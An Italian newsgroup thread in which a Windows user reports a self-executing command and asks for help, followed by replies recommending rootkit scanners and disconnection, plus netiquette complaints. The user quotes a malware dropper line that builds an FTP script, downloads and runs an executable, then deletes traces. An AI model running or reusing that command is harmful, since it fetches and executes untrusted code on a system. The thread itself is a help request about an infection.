Newsgroup: it.comp.sicurezza.windows
Titolo: Stranissimo comando che si esegue da solo!

Ciao a tutti.
Mentre sono al pc spesso vedo che si apre la finestra di Esegui e che viene 
digitata, o meglio incollata data la velocità con cui viene riempito il 
campo di testo, la seguente stringa:
cmd.exe /c del i&echo open 127.0.0.1 1675 > i&echo user 1 1 >> i &echo get 
810.exe >> i &echo quit >> i &ftp -n -s:i &810.exe&del i&exit
....ma cosa vuol dire????
ho il firewall di windows abilitato, ho eseguito una scansione antivirus con 
AVG aggiornato e ho eseguito una scansione con Spy-bot.
Questa cosa si verifica anche con tutti i programmi chiusi. Ho lasciato 
aperto solo messenger. Ho lanciato anche netstat -b e l'output è stato il 
seguente:
------------
  Proto  Indirizzo locale          Indirizzo esterno        Stato 
PID
  TCP    casa:1383        by1msg3275914.phx.gbl:1863  ESTABLISHED     2336
  [msnmsgr.exe]
  TCP    casa:1412        
adsl-136-254.37-151.net24.it:60072
  ESTABLISHED
    2336
  [msnmsgr.exe]
  TCP    casa:1398        80-239-170-214.customer.teliacarrier.com:http  C
LOSE_WAIT      2336
  [msnmsgr.exe]
  TCP    casa:1399        80-239-170-214.customer.teliacarrier.com:http  C
LOSE_WAIT      2336
  [msnmsgr.exe]
  TCP    casa:1446        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1447        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1448        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1449        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1450        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1451        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1452        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1453        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1454        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1455        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1456        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1457        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1458        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1459        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1460        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1461        h642663.serverkompetenz.net:http  TIME_WAIT
  0
  TCP    casa:1462        h642663.serverkompetenz.net:http  TIME_WAIT
  0
---------------
Il problema sono quindi quelle connessioni all'host 
h642663.serverkompetenz.net:http
Cosa posso fare?
Grazie mille anticipatamente

 ....ma cosa vuol dire????
che sei messo troppo male!
scaricati gmer o sophos antirootkit e stacca prima di subito il pc dalla 
rete ripeto stacca il pc dalla rete!
pep

 che sei messo troppo male!
in che senso? nella peggiore delle ipotesi cosa può capitare? 

 rete ripeto stacca il pc dalla rete!
ho scaricato ed eseguito le due applicazioni che mi hai consigliato. 
Nonostante ciò, il problema persiste :-(((( 

Roberto ha scritto:

i programmi indicati sono 'solo' degli 'scovatori' di probleimi
analizza le videate che ti si vengono mostrate
scaricati anche 'hijackthis'
il tutto serve 'solo' per vedere dentro il tuo pc
poi sta a te 'valutare' il da farsi e quali strumenti adottare a seconda 
di ciò che viene 'evidenziato ( in realtà devi essere TU a cercare di 
capire cosa è lecito che esista sul tuo pc a seconda di quali software 
hai installato .... )
insomma :
armati di santa pazienza e cerca di capire il funzionamento intrinseco 
del tuo pc
solo così sarai capace di debellare l'ospite indesiderato
hai qualche ospite che non se ne va con un click e basta !!!
ciao :-)

> Ciao a tutti.
BUONASERA
ti č GIA' stata data risposta relativamente allo STESSO
problema; a questo punto delle due UNA; o sei un troll
e stai solo cercando un flame (visto anche il multipost)
oppure NON hai capito (o non VUOI capire) quello che
ti č stato suggerito; sarebbe interessante capire quale
delle due ipotesi sia quella corretta
Ciao

 delle due ipotesi sia quella corretta
ho postato su altri ng dato che non sapevo su quale postare. Non sono un 
troll nè un crossposter dato che non ho messo in crosspost nessun mio 
messaggio. Non cerco flame, solo spiegazioni nella massima cortesia.
Ringrazio tutti per il tempo dedicatomi e spero di aver chiarito la tua 
perplessità.
ciao 

 messaggio. Non cerco flame, solo spiegazioni nella massima cortesia.
Nella massima cortesia, allora, accetta unconsiglio.
Prima di usare uno strumento, informati su come dovrebbe essere usato.
In effetti, non hai fatto crosspost, hai fatto multipost, che e' peggio.
La differenza e' che con il crosspost viaggia UNA sola copia
dell'articolo, mentre con il multipost viaggiano enne copie.
I thread che ne derivano sono disordinati, spezzettati, e noiosi per
chi segue due o piu' gruppi su cui hai multipostato.
Allora, ti chiederai: come faccio, nel caso in cui il post sia al
confine tra i topic di due gruppi?
Fai un crosspost, e setti il follow-up su uno solo.
-- 
           |Save our planet!
    Ciao   |Save wildlife!
   roberto |For your E-MAIL use ONLY recycled Bytes  !!
           |roberto poggi   
rpo...@softhome.net